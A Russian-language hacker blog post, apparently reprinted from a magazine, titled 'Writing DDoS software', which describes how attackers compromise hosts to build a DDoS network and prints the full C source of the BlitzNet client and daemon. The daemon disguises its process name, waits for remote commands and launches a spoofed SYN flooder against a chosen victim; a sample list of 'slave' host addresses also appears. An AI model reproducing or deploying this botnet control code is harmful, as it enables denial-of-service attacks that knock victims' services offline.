J3qx

information archive

Пишем софт для DDoS

Posted by j3qx на Январь 25, 2009

 

Пишем софт для DDoS

 

:: Intro

DDoS атака (Distributed Denial of Service Attack) — это распределенная атака на отказ в обслуживании. От обычной DoS атаки отличается тем, что в процессе участвует не один компьютер, а множество компьютеров, подчиняющихся командам атакующего.

DDoS атаки относительно новы. Впервые Интернет-общество серьезно столкнулось с ними 7 февраля 2000 года. Тогда в течении недели на несколько часов были выведены из строя такие известные сайты, как Yahoo, Buy.com, eBay, Amazon, Datek, E*Trade и CNN.

Сейчас 2002 год, но DDoS атаки до сих пор практически невозможно отслеживать заранее и предотвращать, и вряд ли это станет возможным в ближайшем будущем.

:: Немного лирики

DDoS атаке предшествуют взломы сотен (а иногда и тысяч) компьютеров, на которые устанавливается специальный DDoS софт, позволяющий проводить координированные DoS атаки (обычно используются flood атаки) на сайты жертв.

В деталях это выглядит следующим образом: атакующий ищет слабо защищенный компьютер, вломиться в который не составляет проблемы. Затем на взломанную систему устанавливается софт, который будет скрывать следы взлома (например, скрывать процесс, запущенный атакующим, чтобы в дальнейшем контролировать данную систему). А потом осуществляется то, ради чего, собственно, система и была взломана: запускается процесс, ожидающий команды из Интернета начать атаку на определенную жертву. После этого адрес захваченного компьютера заносится в базу данных. Все эти шаги достаточно автоматизированы и повторяются до тех пор, пока количество «рабов» не достигнет необходимой атакующему отметки. В итоге получается DDoS сеть, т.е. имеются компьютеры с установленным на них DDoS софтом, а атакующий знает их адреса.

С наступлением часа X атакующий просто запускает программу, которая посылает команды начать атаку на определенную жертву всем захваченным компьютерам по адресам, хранящимся в специальном файле. Когда атакующий решает прекратить DDoS атаку, он опять же просто запускает программу, которая пошлет по тем же адресам команды прекратить безобразие.

:: c0dez

Рассмотрим DDoS софт на примере BlitzNet by phreeon, написанный частично на Си (если не знаешь Си, смотри «A quick introduction to C — learn programming in one day» Mixter’а), частично на TCL (можешь посмотреть статью Forb’а «Кодинг на TCL», Xakep #030).

BlitzNet (Blitz Network) написан для того, чтобы проводить spoofed syn flood атаку с множества разных компьютеров без логина на них. Дистрибутив включает в себя следующие файлы: blitz.c (клиент), blitzd.c (сервер), rush.tcl, уже скомпилированный spoofed syn flooder (slice2) и README. На взломанную систему помещаются 2 файла: blitzd и slice2. А у атакующего должны быть 4 файла: rush.tcl, shell.list, blitz и strobe (rush.tcl использует blitz для связи c компьютерами, адреса которых находятся в shell.list, а strobe нужен rush.tcl для проверки тех компьютеров). Файл shell.list должен иметь примерно такой вид:

192.9.49.33 31337

199.185.137.3 9999

216.200.201.193 6969

Первая часть строки — ip адрес компьютера, вторая — порт, на котором висит blitzd.

Клиентская часть BlitzNet устанавливает TCP соединение с указанным сервером (argv[1]) по указанному порту (argv[2]) и пересылает демону адрес для подмены адреса компьютера, проводящего атаку, <source> (0 для случайного); адрес жертвы <destination>; нижний предел диапазона атакуемых портов <start>; верхний предел <stop>, продолжительность атаки в секундах <duration> и количество одновременно работающих процессов slice2 <dupes>.

Чтобы установить Интернет соединение, нужно использовать сокеты. Сокеты бывают двух типов: потоковые (TCP) и датаграммные (UDP). Кроме того, сокеты делятся по областям (domain) на сокеты Интернета и сокеты UNIX (локальные). И еще с сокетом ассоциируется определенный протокол. Области и типы определяются числовыми константами, но обычно вместо циферков используются буковки, точнее, символические имена (задаваемые #define). Потоковые сокеты имеют тип SOCK_STREAM, датаграммные — SOCK_DGRAM; области Интернета соответствует константа PF_INET (иногда вместо PF_* используется AF_*), области UNIX — PF_UNIX (в POSIX вместо PF_UNIX используется PF_LOCAL, но PF_UNIX допустима почти всегда, т.к. используется в огромном количестве существующих программ). Протокол система может выбирать автоматически, если функциям сокетов передается значение 0.

Как же написать TCP клиента? Прежде всего, нужно подключить библиотеки, необходимые для работы с сокетами:

#include <sys/socket.h>

#include <netinet/in.h> // Для структуры sockaddr_in

 

Далее, необходимые переменные:

// Аналог дескриптора файла

int sockfd;

 

struct sockaddr_in address;

 

На FreeBSD и, наверное, на всех других NIX системах, эта структура выглядит следующим образом:

 

/*

* Socket address, internet style.

*/

struct sockaddr_in {

u_char sin_len;

u_char sin_family;

u_short sin_port;

struct in_addr sin_addr;

char sin_zero[8];

};

Интерес представляют поля sin_family (что-то типа области), sin_port (порт) и sin_addr (адрес хоста).

 

А потом, собственно, подключаемся к сокету на удаленном компьютере:

 

// Создать сокет

sockfd = socket(AF_INET, SOCK_STREAM, 0);

 

// Построить адрес удаленного компьютера

 

bzero(&address, sizeof(saddress)); // Очистка структуры (не обязательно)

 

address.sin_family = AF_INET;

address.sin_addr.s_addr = inet_addr(«host»);

address.sin_port = htons(atoi(«port»));

 

// Подключиться

connect(sockfd, (struct sockaddr *)&address, sizeof(address));

 

// Сделать что-то с сокетом

write(sockfd, …);

read(sockfd, …);

 

// И отключиться после завершения

close(sockfd);

 

На Перле написать это куда проще (может, я соберусь и напишу на нем аналог BlitzNet), но знание, как это делается на Си тебе не помешает.

 

А вот и Blitz клиент:

 

<++> blitz.c

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <unistd.h>

 

int main(int argc, char *argv[])

{

int i;

int sockfd;

int len;

struct sockaddr_in address;

int result;

char cmd[128];

char ch;

 

if (argc < 9) {

fprintf(stderr, «blitz by phreeon / hydra\n»);

fprintf(stderr, «syntax: %s <host> <port> <source> <destination> <start> <stop> <dupes> <duration>\n», argv[0]);

exit(1);

}

 

sockfd = socket(AF_INET, SOCK_STREAM, 0);

address.sin_family = AF_INET;

address.sin_addr.s_addr = inet_addr(argv[1]);

address.sin_port = htons(atoi(argv[2]));

len = sizeof(address);

result = connect(sockfd, (struct sockaddr *)&address, len);

 

if(result == -1) {

printf(«%s->%s: connection refused!\n», argv[1], argv[4]);

exit(1);

}

 

sprintf(cmd, «%s %s %s %s %s %s», argv[3], argv[4], argv[5], argv[6], argv[7], argv[8]);

write(sockfd, cmd, sizeof(cmd));

read(sockfd, &ch, 1);

if (ch == ‘.’) {

printf(«%s->%s: successful!\n», argv[1], argv[4]);

}

if (ch == ‘!’) {

printf(«%s->%s: failed!\n», argv[1], argv[4]);

}

if (ch != ‘.’ && ch != ‘!’) {

printf(«%s->%s: unknown!\n», argv[1], argv[4]);

}

close(sockfd);

exit(0);

}

<—>

 

Серверная часть Blitz Network сначала предпринимает некоторые шаги для маскировки, в частности, забивает все аргументы нулями, а себя маскирует под что-нибудь. Потом происходит непосредственно прием информации, передаваемой клиентом, и запуск slice2 с полученными от клиента аргументами.

 

Написать типичный TCP сервер не так уж и сложно. Сначала все те же библиотеки, почти те же переменные, так же создаем сокет:

 

 

#include <sys/socket.h>

#include <netinet/in.h>

 

 

int server_sockfd, client_sockfd;

struct sockaddr_in server_address;

struct sockaddr_in client_address;

 

 

// Создать сокет

server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

 

// Заполнение структуры address несколько отличается:

 

bzero(&server_address, sizeof(server_address));

server_address.sin_family = AF_INET;

server_address.sin_port = htons(atoi(«port»);

server_address.sin_addr.s_addr = htonl(INADDR_ANY);

 

Разница в server_address.sin_addr.s_addr. Вместо адреса определенного хоста используется INADDR_ANY — специальный адрес, означающий «прослушивание на всех интерфейсах».

 

// Далее вместо connect() используем bind()

bind(server_sockfd, (struct sockaddr *)&server_address, sizeof(server_address));

 

Потом процесс сервера создает дочерний процесс, который принимает подключения. Это удобно сделать так:

 

switch (fork()) {

case -1:

perror(«fork»);

return 3;

break;

default:

close(server_sockfd);

return 0;

break;

case 0:

break;

}

 

// Теперь необходимо установить очередь для входящих сообщений

listen(server_sockfd, 5);

 

Числовой аргумент функции listen() определяет количество не принятых функцией accept() подключений, которые будут поставлены в очередь.

 

// Потом в цикле происходит прием подключений

for (;;) {

b = sizeof(client_address); // b имеет тип int

client_sockfd = accept(s, (struct sockaddr *)&client_address, &b);

 

// Делаем что-нибудь

read(client_sockfd, …);

write(client_sockfd, …);

 

// И отрубаем

close(client_sockfd);

}

 

Все!

 

Но blitzd написан каким-то странным способом, в котором я до конца не разобрался. То же самое можно было написать на том же Си куда проще, но я привожу исходник AS IS:

 

<++> blitzd.c

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <netinet/in.h>

#include <sys/time.h>

#include <sys/ioctl.h>

#include <unistd.h>

#include «lists.h»

 

int main(int argc, char *argv[])

{

int x;

char stealth[128];

char good, bad;

time_t timeval;

int server_sockfd, client_sockfd;

int server_len, client_len;

struct sockaddr_in server_address;

struct sockaddr_in client_address;

int result;

fd_set readfds, testfds;

 

good = ‘.’;

bad = ‘!’;

if (argc < 2) {

fprintf(stderr, «blitzd by phreeon / hydra\n»);

fprintf(stderr, «syntax: %s <port> <stealth>\n», argv[0]);

exit(1);

}

 

server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

 

server_address.sin_family = AF_INET;

server_address.sin_addr.s_addr = htonl(INADDR_ANY);

server_address.sin_port = htons(atoi(argv[1]));

strcpy(stealth, argv[2]);

for (x = argc-1; x >= 0; x—) {

memset(argv[x], 0, strlen(argv[x]));

}

strcpy(argv[0], stealth);

server_len = sizeof(server_address);

 

bind(server_sockfd, (struct sockaddr *)&server_address, server_len);

listen(server_sockfd, 5);

 

FD_ZERO(&readfds);

FD_SET(server_sockfd, &readfds);

while(1) {

char cmd[128], realcmd[512];

int fd;

int nread;

 

testfds = readfds;

 

(void)time(&timeval);

// printf(«[%s] server waiting\n», string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)));

result = select(FD_SETSIZE, &testfds, (fd_set *)0,

(fd_set *)0, (struct timeval *) 0);

 

if(result < 1) {

perror(«server5»);

exit(1);

}

for(fd = 0; fd < FD_SETSIZE; fd++) {

if(FD_ISSET(fd,&testfds)) {

if(fd == server_sockfd) {

client_sockfd = accept(server_sockfd,

(struct sockaddr *)&client_address, &client_len);

FD_SET(client_sockfd, &readfds);

(void)time(&timeval);

// printf(«[%s] adding client %s:%d on fd %d\n», string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), ntohs(client_address.sin_port), client_sockfd);

}

else {

ioctl(fd, FIONREAD, &nread);

 

if(nread == 0) {

close(fd);

FD_CLR(fd, &readfds);

(void)time(&timeval);

// printf(«[%s] removing client %s on fd %d\n», string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd);

}

 

else {

read(fd, cmd, 128);

 

/* argument descriptions */

/* ——————— */

/* source target startport stopport dupes duration */

/* 0 127.0.0.1 3 2000 2 360 */

 

sleep(5);

(void)time(&timeval);

// printf(«[%s] serving client %s on fd %d (%s)\n», string_range(ctime(&timeval), 0, (strlen(ctime(&timeval))-2)), inet_ntoa(client_address.sin_addr.s_addr), fd, cmd);

if (llength(cmd) == 6) {

sprintf(realcmd, «./slice2 %s > /dev/null &\nsleep %s; kill `pidof slice2`;», lrange(cmd, 0, 4), lindex(cmd, -1));

write(fd, &good, 1);

system(realcmd);

} else {

write(fd, &bad, 1);

}

}

}

}

}

}

}

<—>

 

На этом все. Листинг rush.tcl я приводить не буду, т.к. особых познаний в TCL не имею, разберись с ним сам, если хочешь. И надеюсь, ты не будешь использовать полученные знания во имя зла >:-F~.

 

:: Использованная литература

 

Distributed Denial of Service Attacks by Bennett Todd

Perl: библиотека программиста -> Сокеты

FreeBSD Developers’ Handbook -> Chapter 7 Sockets

Реклама

Добавить комментарий

Заполните поля или щелкните по значку, чтобы оставить свой комментарий:

Логотип WordPress.com

Для комментария используется ваша учётная запись WordPress.com. Выход / Изменить )

Фотография Twitter

Для комментария используется ваша учётная запись Twitter. Выход / Изменить )

Фотография Facebook

Для комментария используется ваша учётная запись Facebook. Выход / Изменить )

Google+ photo

Для комментария используется ваша учётная запись Google+. Выход / Изменить )

Connecting to %s

 
%d такие блоггеры, как: